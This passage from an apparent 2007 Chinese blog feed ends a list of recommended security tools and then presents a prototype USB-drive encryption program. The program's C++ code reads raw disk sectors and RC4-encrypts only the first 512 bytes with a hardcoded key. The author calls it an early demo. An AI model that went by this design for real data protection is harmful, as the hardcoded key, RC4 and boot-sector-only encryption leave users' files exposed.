<p>8 卡巴斯基防火墙 [绿色版]：操纵明了，自定义规则能力非常强，可防御冲击波等病毒。但与AVAST4.78自带的防火墙功能冲突，导致AVAST自带的防火墙功能不能运行，不过AVAST那些功能正好是 卡巴斯基防火墙 的本职功能，正好拟补。[怕麻烦的别用这个，哈哈。]</p>
<p>9 360safe3.0 [绿色版]：最后一个就是这个了，不是叫你找流氓软件啊，而是它有个非常好用的功能，就是他的 注册表 监视功能。如有更改，它会提示你操纵。再通过它的其他功能一目了然的了解所有动作。[推荐使用]</p>
<p>10 影子系统 [安装版]：这个是我最后推荐的，如果你看后觉得装杀毒还是麻烦，或者说我根本就不想装，再者说，你要本机测试木马病毒等，那我隆重推荐你使用影子系统，安装简单，一路下一步，最后重起机器就OK了，启动机器时会在启动项里有[<font color="#000080">进入影子系统单一模式：这个模式是只保护你的系统盘</font>][<font color="#000080">进入影子系统完全模式：这个模式是保护你硬盘所有分区</font>]，你也可以跳过这个，在桌面的快捷方式启动影子系统。用影子系统的好处是：1单一模式(保护系统盘)，你的所有操纵都是建立在系统盘上的，本机测试木马病毒等时所有都是要写进系统的，重起机器后所有操纵都会被还原，即使是木马，病毒都会消失！如果你有需要保存的软件等，不要保存在系统盘，请存放在其他未被保护的盘，这样才不会被还原。2完全模式(保护硬盘所有分区)即使你中了硬盘炸弹，重起机器后你的硬盘还是安然无恙。3还原能力经本人测试，远远超过还原精灵和还原卡。我用影子</font></p>
<h2  class="related_post_title">相关文章：</h2><ul class="related_post"><li><a href="http://blog.licess.org/my-android-soft/" title="我的Android常用软件">我的Android常用软件</a></li><li><a href="http://blog.licess.org/kuaipan/" title="金山快盘 &#8211; 类Dropbox同步软件推荐">金山快盘 &#8211; 类Dropbox同步软件推荐</a></li><li><a href="http://blog.licess.org/linux_develop_tools/" title="Linux下的软件开发工具">Linux下的软件开发工具</a></li><li><a href="http://blog.licess.org/%e8%bd%af%e4%bb%b6%e5%bc%80%e5%8f%91%e5%85%a5%e9%97%a8%e5%ad%a6%e4%b9%a0%e7%9a%84%e4%b8%aa%e4%ba%ba%e7%9c%8b%e6%b3%95/" title="软件开发入门学习的个人看法">软件开发入门学习的个人看法</a></li><li><a href="http://blog.licess.org/%e7%a7%bb%e5%8a%a8%e5%ad%98%e5%82%a8%e5%ae%89%e5%85%a8/" title="移动存储安全">移动存储安全</a></li><li><a href="http://blog.licess.org/%e6%89%8b%e5%8a%a8%e6%b8%85%e9%99%a4chcpexe%e7%97%85%e6%af%92%e4%bf%9d%e6%8a%a4msn%e7%9a%84%e5%ae%89%e5%85%a8/" title="手动清除chcp.exe病毒 保护MSN的安全">手动清除chcp.exe病毒 保护MSN的安全</a></li><li><a href="http://blog.licess.org/%e7%bc%96%e5%86%99autorun%e7%97%85%e6%af%92%e5%85%8d%e7%96%ab%e5%b7%a5%e5%85%b7/" title="编写autorun病毒免疫工具">编写autorun病毒免疫工具</a></li><li><a href="http://blog.licess.org/u%e7%9b%98%28auto%e7%97%85%e6%af%92%29%e7%b1%bb%e7%97%85%e6%af%92%e5%88%86%e6%9e%90%e4%b8%8e%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88/" title="U盘(auto病毒)类病毒分析与解决方案">U盘(auto病毒)类病毒分析与解决方案</a></li><li><a href="http://blog.licess.org/%e4%b8%80%e4%b8%aa%e4%b8%8d%e4%b8%ba%e4%ba%ba%e7%9f%a5%e7%9a%84%e6%84%9f%e6%9f%93%e5%87%a0%e7%99%be%e4%b8%87%e6%a0%a1%e5%86%85%e7%bd%91%e7%94%a8%e6%88%b7%e7%9a%84%e8%a0%95%e8%99%ab%e5%88%86%e6%9e%90/" title="一个不为人知的感染几百万校内网用户的蠕虫分析">一个不为人知的感染几百万校内网用户的蠕虫分析</a></li><li><a href="http://blog.licess.org/httpfileserver%e6%b1%89%e5%8c%96%e7%bb%bf%e8%89%b2%e7%89%88-%e5%82%bb%e7%93%9c%e5%bc%8f%e6%9e%b6%e8%ae%be%e4%b8%aa%e4%ba%ba%e6%96%87%e4%bb%b6%e4%b8%8b%e8%bd%bd%e5%85%b1%e4%ba%ab%e7%bd%91%e7%ab%99/" title="HTTP File Server汉化绿色版- 傻瓜式架设个人文件下载共享网站">HTTP File Server汉化绿色版- 傻瓜式架设个人文件下载共享网站</a></li></ul><hr />
<p><small>© licess for <a href="http://blog.licess.org">Licess&#039;s Blog</a>, 2007. |
<a href="http://blog.licess.org/%e5%8d%81%e7%a7%8d%e6%ad%a6%e5%99%a8%e4%bf%9d%e8%af%81%e4%bd%a0%e7%9a%84%e7%b3%bb%e7%bb%9f%e5%ae%89%e5%85%a8/">Permalink</a> |
<a href="http://blog.licess.org/%e5%8d%81%e7%a7%8d%e6%ad%a6%e5%99%a8%e4%bf%9d%e8%af%81%e4%bd%a0%e7%9a%84%e7%b3%bb%e7%bb%9f%e5%ae%89%e5%85%a8/#comments">No comment</a> |
Add to
<a href="http://del.icio.us/post?url=http://blog.licess.org/%e5%8d%81%e7%a7%8d%e6%ad%a6%e5%99%a8%e4%bf%9d%e8%af%81%e4%bd%a0%e7%9a%84%e7%b3%bb%e7%bb%9f%e5%ae%89%e5%85%a8/&title=十种武器保证你的系统安全">del.icio.us</a>
<br/>
Post tags: <a href="http://blog.licess.org/tag/%e5%ae%89%e5%85%a8/" rel="tag">安全</a>, <a href="http://blog.licess.org/tag/%e8%bd%af%e4%bb%b6/" rel="tag">软件</a><br/>
<br/>
<img src="http://www.vpser.net/images/tuijian.gif"> <a href="http://www.vpser.net/usa-vps/">美国VPS推荐</a>  | <a href="http://shop63846532.taobao.com/">军哥代购 - 提供美国及海外VPS/VPN/域名代购，美元/欧元代付</a> QQ：503228080
</small></p>]]></content:encoded>
			<wfw:commentRss>http://blog.licess.org/%e5%8d%81%e7%a7%8d%e6%ad%a6%e5%99%a8%e4%bf%9d%e8%af%81%e4%bd%a0%e7%9a%84%e7%b3%bb%e7%bb%9f%e5%ae%89%e5%85%a8/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>移动存储安全</title>
		<link>http://blog.licess.org/%e7%a7%bb%e5%8a%a8%e5%ad%98%e5%82%a8%e5%ae%89%e5%85%a8/</link>
		<comments>http://blog.licess.org/%e7%a7%bb%e5%8a%a8%e5%ad%98%e5%82%a8%e5%ae%89%e5%85%a8/#comments</comments>
		<pubDate>Sat, 03 Nov 2007 01:40:00 +0000</pubDate>
		<dc:creator>licess</dc:creator>
				<category><![CDATA[网络安全]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[移动存储]]></category>

		<guid isPermaLink="false">/articles/48</guid>
		<description><![CDATA[当你的U盘，移动硬盘遗失了，被盗了，或者是遗忘在公共场所，里面的资料就会完全被别人窥探，如果涉及一些隐私，机密，那后果是很严重的。本课题就是在这样一个情况下产生的。这里剖析的只是一个最初的演示原型，详细设计，以及一些细节可以参考源代码。源代码在WinXP，VC6.0编译通过。 [代码性质] VC完整应用程序代码 [文件大小] 16K [下载]&#160;&#160;&#160; &#160;Jeffrey_mss.rar&#160;(15.78 KB , 下载:17次) 摘要：实现对移动存储设备的加密，保护信息隐蔽，防止隐私泄露。 关键字：移动存储设备加密安全 　　当你的U盘，移动硬盘遗失了，被盗了，或者是遗忘在公共场所，里面的资料就会完全被别人窥探，如果涉及一些隐私，机密，那后果是很严重的。本课题就是在这样一个情况下产生的。这里剖析的只是一个最初的演示原型，详细设计，以及一些细节可以参考源代码。源代码在WinXP，VC6.0编译通过。 1、访问注册表读取计算机上的移动存储设备 在注册表 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Disk\Enum 下面可以看到计算机当前的状态，这里可以看到所有的存储设备的情况，包括计算机的硬盘，通过情况下，名称为0的是计算机硬盘，所以在列出的选择设备时，会把名称为0的屏蔽，不然太危险，一旦造成系统的破坏，后果会很麻烦。对注册表的读写： HKEY hkey; char sz[256]; DWORD dwtype,sl = 256; for(int i=1;i&#60;8;i++) { &#160;&#160;&#160;&#160;&#160;&#160;&#160; if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,&#34;SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum&#34;,\ &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; NULL, KEY_ALL_ACCESS, &#38;hkey)==ERROR_SUCCESS) &#160;&#160;&#160;&#160;&#160;&#160;&#160; { &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; CString id; &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; id.Format(&#34;%d&#34;,i); &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; if(RegQueryValueEx(hkey,id,NULL,&#38;dwtype,(LPBYTE)sz,&#38;sl)==ERROR_SUCCESS) &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; { &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; CString str=(CString)sz; &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; m_select.AddString(sz); &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; } &#160;&#160;&#160;&#160;&#160;&#160;&#160; } } [...]]]></description>
			<content:encoded><![CDATA[<p style="word-break: break-all"><font face="宋体" size="3"><br />
当你的U盘，移动硬盘遗失了，被盗了，或者是遗忘在公共场所，里面的资料就会完全被别人窥探，如果涉及一些隐私，机密，那后果是很严重的。本课题就是在这样一个情况下产生的。这里剖析的只是一个最初的演示原型，详细设计，以及一些细节可以参考源代码。源代码在WinXP，VC6.0编译通过。</p>
<p>[代码性质] VC完整应用程序代码<br />
[文件大小] 16K<br />
[下载]&nbsp;&nbsp;&nbsp; &nbsp;<img style="margin: 0px 2px -4px 0px" alt="下载文件" src="images/download.gif" /><a href="download.php?id=86">Jeffrey_mss.rar</a>&nbsp;(15.78 KB , 下载:17次)</p>
<p>摘要：实现对移动存储设备的加密，保护信息隐蔽，防止隐私泄露。</font></p>
<p style="word-break: break-all"><font face="宋体" size="3"><br />
关键字：移动存储设备加密安全</font></p>
<p style="word-break: break-all"><font face="宋体" size="3"><br />
　　当你的<span>U</span>盘，移动硬盘遗失了，被盗了，或者是遗忘在公共场所，里面的资料就会完全被别人窥探，如果涉及一些隐私，机密，那后果是很严重的。本课题就是在这样一个情况下产生的。这里剖析的只是一个最初的演示原型，详细设计，以及一些细节可以参考源代码。源代码在<span>WinXP</span>，<span>VC6.0</span>编译通过。</font></p>
<p style="word-break: break-all"><font size="3"><font face="宋体"><span><br />
1</span>、访问注册表读取计算机上的移动存储设备</font></font></p>
<p style="word-break: break-all"><font face="宋体" size="3">在注册表</font></p>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Disk\Enum</font></span></pre>
<p style="word-break: break-all"><font face="宋体" size="3">下面可以看到计算机当前的状态，这里可以看到所有的存储设备的情况，包括计算机的硬盘，通过情况下，名称为<span>0</span>的是计算机硬盘，所以在列出的选择设备时，会把名称为<span>0</span>的屏蔽，不然太危险，一旦造成系统的破坏，后果会很麻烦。对注册表的读写： </font></p>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">HKEY hkey;</font></span></pre>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">char sz[256];</font></span></pre>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">DWORD dwtype,sl = 256; </font></span></pre>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">for(int i=1;i&lt;8;i++)</font></span></pre>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">{</font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,&quot;SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum&quot;,\</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>NULL, KEY_ALL_ACCESS, &amp;hkey)==ERROR_SUCCESS)</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>CString id;</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>id.Format(&quot;%d&quot;,i);</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>if(RegQueryValueEx(hkey,id,NULL,&amp;dwtype,(LPBYTE)sz,&amp;sl)==ERROR_SUCCESS)</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>CString str=(CString)sz;</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>m_select.AddString(sz);</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">}</font></span></pre>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">RegCloseKey(hkey); </font></span></pre>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; word-break: break-all"><font size="3"><font face="宋体"><span><br />
2</span>、对磁盘的扇区的操作 </font></font></p>
<p style="word-break: break-all"><font face="宋体" size="3">　　<span>Windows </span>操作系统在很大程度上采取了访问安全保护机制（例如，在<span>Windows</span>操作系统下不能直接访问物理内存、不能使用各种<span>DOS</span>、<span>BIOS</span>中断等等），其实<span>Windows</span>在采取&ldquo;实保护&rdquo;措施的同时也提供了另外的一种有别于在<span>DOS</span>下访问硬件设备的方法，即把所有的硬件设备全部看做&ldquo;文件&rdquo;，并允许按照对文件的读写方式来对其进行数据存取访问。对于磁盘扇区的读写，可以通过<span>C++</span>的<span>CreateFile()</span>函数来实现。由<span>MSDN</span>可查询到该函数原型： </font></p>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">HANDLE CreateFile(</font></span></pre>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">LPCTSTR lpFileName, </font></span></pre>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">DWORD dwDesiredAccess, </font></span></pre>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">DWORD dwShareMode, </font></span></pre>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">LPSECURITY_ATTRIBUTES lpSecurityAttributes, </font></span></pre>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">DWORD dwCreationDisposition, </font></span></pre>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">DWORD dwFlagsAndAttributes, </font></span></pre>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">HANDLE hTemplateFile );</font></span></pre>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; word-break: break-all"><font face="宋体" size="3"><br />
由于访问的是事实上已经存在的磁盘扇区，因此只能以<span>OPEN_EXISTING</span>标志设置<span>dwCreationDisposition</span>参数指出将要打开已经存在的文件（设备）。至于其他参数的使用与操作普通文件时的用法相同。</font><span><br />
</span><font face="宋体" size="3">使用的时候，如果需要定位到某一个具体的扇区，可以使用<span>SetFilePointer()</span>函数：</font></p>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">DWORD SetFilePointer(HANDLE hFile,LONG lDistanceToMove,PLONG lpDistanceToMoveHigh,DWORD dwMoveMethod);</font></span></pre>
<p style="word-break: break-all"><font face="宋体" size="3"><br />
　　在定位到要访问的扇区开始位置后就可以通过<span>ReadFile</span>（）或<span>WriteFile</span>（）函数实施相应的读写访问了，具体操作与文件读写并没有什么太大的差别。最后，在完成访问操作后以<span>CloseHandle</span>（）关闭文件句柄释放资源，从而完成一次完整的磁盘扇区数据访问操作。 </font></p>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">int ReadDisk(CString driver,unsigned char *Buf,long addr)</font></span></pre>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">{</font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>HANDLE hDevice;</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>BOOL bResult;</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>DWORD bytesread; </font></font></font></span></pre>
<pre style="word-break: break-all"><span><span><font face="宋体" color="#000000" size="3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font></span></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>hDevice=CreateFile(driver,GENERIC_READ|GENERIC_WRITE,</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL); </font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>if(hDevice==INVALID_HANDLE_VALUE)</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{ </font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>AfxMessageBox(&quot;Error!&quot;);</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>return 0;</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>if(addr!=0)</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>SetFilePointer(hDevice,512*addr,NULL,NULL);</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</font></font></font></span></pre>
<pre style="word-break: break-all"><span><span><font face="宋体" color="#000000" size="3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font></span></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>bResult=ReadFile(hDevice,Buf,512,&amp;bytesread,NULL);</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>if((bResult==FALSE)||(bytesread&lt;512)) </font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{ </font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>AfxMessageBox(&quot;Error!&quot;);</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>return 0;</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>CloseHandle(hDevice);</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>return 1;</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">}</font></span></pre>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; word-break: break-all"><font size="3"><font face="宋体"><span><br />
3</span>、用<span>RC4</span>加密算法对磁盘加密。</font></font></p>
<pre style="word-break: break-all"><font size="3"><font color="#000000"><font face="宋体"><span>/* RC4</span>加密，<span>KEY</span>是密钥，此处<span>Key[]=&quot;MobileStorageSecurity&quot;,</span>后期可以用户输入的密码作为密钥<span> */</span></font></font></font></pre>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">RC4_KEY rc4_key;</font></span></pre>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">build_rc4_key(Key,strlen((char*)Key),&amp;rc4_key);</font></span></pre>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">rc4_handler(MBRBuf,strlen((char*)MBRBuf),&amp;rc4_key);</font></span></pre>
<p style="word-break: break-all"><font size="3"><font face="宋体"><span><br />
4</span>、<span>U</span>盘插入计算机时的自动感知 </font></font></p>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">LRESULT CRawDiskDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam)</font></span></pre>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">{</font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>if ( WM_DEVICECHANGE == message &amp;&amp; FALSE == bCopy )</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</font></font></font></span></pre>
<pre style="word-break: break-all"><font size="3"><font color="#000000"><font face="宋体"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>//</span>刷新设备列表</font></font></font></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font size="3"><font color="#000000"><font face="宋体"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>return CDialog::WindowProc(message, wParam, lParam);</font></font></font></span></pre>
<pre style="word-break: break-all"><span><font face="宋体" color="#000000" size="3">}</font></span></pre>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; word-break: break-all"><font face="宋体" size="3"><br />
后期改进 </font></p>
<ol>
<li class="MsoNormal" style="margin: 0cm 0cm 0pt; word-break: break-all; tab-stops: list 36.0pt"><font face="宋体" size="3">这样就必须要求在电脑上有这个程序，所以在后期采用同样的原理，将这个程序放在<span>U</span>盘里，在加密的时候实现对自身的屏蔽，这样大大提高程序的易用性。 </font></li>
<li class="MsoNormal" style="margin: 0cm 0cm 0pt; word-break: break-all; tab-stops: list 36.0pt"><font face="宋体" size="3">可以让用户输入密码，将密码作为密钥去加密和解密。 </font></li>
</ol>
<p><span style="font-size: 12pt; font-family: 宋体">&nbsp;&nbsp;3.这个只是对一个磁盘最初的<span>512</span>字节加密，后期可以通过对扇区的定位和计算，对目录表及数据加密。</span></p>
<h2  class="related_post_title">相关文章：</h2><ul class="related_post"><li><a href="http://blog.licess.org/%e5%8d%81%e7%a7%8d%e6%ad%a6%e5%99%a8%e4%bf%9d%e8%af%81%e4%bd%a0%e7%9a%84%e7%b3%bb%e7%bb%9f%e5%ae%89%e5%85%a8/" title="十种武器保证你的系统安全">十种武器保证你的系统安全</a></li><li><a href="http://blog.licess.org/%e6%89%8b%e5%8a%a8%e6%b8%85%e9%99%a4chcpexe%e7%97%85%e6%af%92%e4%bf%9d%e6%8a%a4msn%e7%9a%84%e5%ae%89%e5%85%a8/" title="手动清除chcp.exe病毒 保护MSN的安全">手动清除chcp.exe病毒 保护MSN的安全</a></li><li><a href="http://blog.licess.org/%e7%bc%96%e5%86%99autorun%e7%97%85%e6%af%92%e5%85%8d%e7%96%ab%e5%b7%a5%e5%85%b7/" title="编写autorun病毒免疫工具">编写autorun病毒免疫工具</a></li><li><a href="http://blog.licess.org/u%e7%9b%98%28auto%e7%97%85%e6%af%92%29%e7%b1%bb%e7%97%85%e6%af%92%e5%88%86%e6%9e%90%e4%b8%8e%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88/" title="U盘(auto病毒)类病毒分析与解决方案">U盘(auto病毒)类病毒分析与解决方案</a></li><li><a href="http://blog.licess.org/%e4%b8%80%e4%b8%aa%e4%b8%8d%e4%b8%ba%e4%ba%ba%e7%9f%a5%e7%9a%84%e6%84%9f%e6%9f%93%e5%87%a0%e7%99%be%e4%b8%87%e6%a0%a1%e5%86%85%e7%bd%91%e7%94%a8%e6%88%b7%e7%9a%84%e8%a0%95%e8%99%ab%e5%88%86%e6%9e%90/" title="一个不为人知的感染几百万校内网用户的蠕虫分析">一个不为人知的感染几百万校内网用户的蠕虫分析</a></li><li><a 